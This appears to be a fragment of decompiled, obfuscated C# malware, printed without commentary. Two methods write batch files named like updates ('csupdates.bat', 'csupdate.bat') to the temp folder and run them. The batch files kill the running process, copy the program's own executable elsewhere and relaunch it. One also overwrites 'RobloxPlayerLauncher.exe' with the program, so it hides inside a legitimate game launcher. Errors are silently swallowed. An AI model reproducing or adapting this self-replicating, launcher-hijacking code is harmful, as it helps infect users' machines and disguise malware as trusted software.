// Token: 0x06000005 RID: 5 RVA: 0x0000271C File Offset: 0x0000091C private static void smethod_2() { string tempPath = Path.GetTempPath(); string text = Path.Combine(new string[] { tempPath + "csupdates.bat" }); string value = "taskkill /PID /T /F " + Process.GetCurrentProcess().Id; string value2 = string.Concat(new string[] { "XCOPY /Y \"", Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).ToString(), "\" \"", EntryPointClass.string_5, "\"" }); string value3 = "START /C \"" + EntryPointClass.smethod_0() + "\""; string value4 = "EXIT"; try { if (!File.Exists(text)) { FileStream fileStream = File.Create(text); fileStream.Close(); } using (StreamWriter streamWriter = new StreamWriter(text, false)) { streamWriter.WriteLine(value); streamWriter.WriteLine(value2); streamWriter.WriteLine(value3); streamWriter.WriteLine(value4); } } catch { } EntryPointClass.MsyUyJaON(text); }
// Token: 0x06000006 RID: 6 RVA: 0x00002844 File Offset: 0x00000A44 private static void smethod_3(string string_8, string string_9) { string tempPath = Path.GetTempPath(); string text = Path.Combine(new string[] { tempPath + "csupdate.bat" }); string value = "taskkill /PID /T /F " + Process.GetCurrentProcess().Id; string value2 = string.Concat(new string[] { "XCOPY /Y \"", Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).ToString(), "\" \"", EntryPointClass.string_5, "\"" }); string value3 = string.Concat(new string[] { "XCOPY /Y \"", EntryPointClass.smethod_7(), "\" \"", string_9, "\"" }); string value4 = string.Concat(new string[] { "XCOPY /Y \"", Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).ToString(), "\" \"", Path.Combine(EntryPointClass.smethod_6(), "RobloxPlayerLauncher.exe"), "\"" }); string value5 = "START /C \"" + EntryPointClass.smethod_0() + "\""; string value6 = "EXIT"; try { if (!File.Exists(string_8) && !Directory.Exists(string_9)) { Directory.CreateDirectory(string_9); } } catch { } try { if (!File.Exists(text)) { FileStream fileStream = File.Create(text); fileStream.Close(); } using (StreamWriter streamWriter = new StreamWriter(text, false)) { streamWriter.WriteLine(value); streamWriter.WriteLine(value2); streamWriter.WriteLine(value3); streamWriter.WriteLine(value4); streamWriter.WriteLine(value5); streamWriter.WriteLine(value6); } } catch { } EntryPointClass.MsyUyJaON(text); }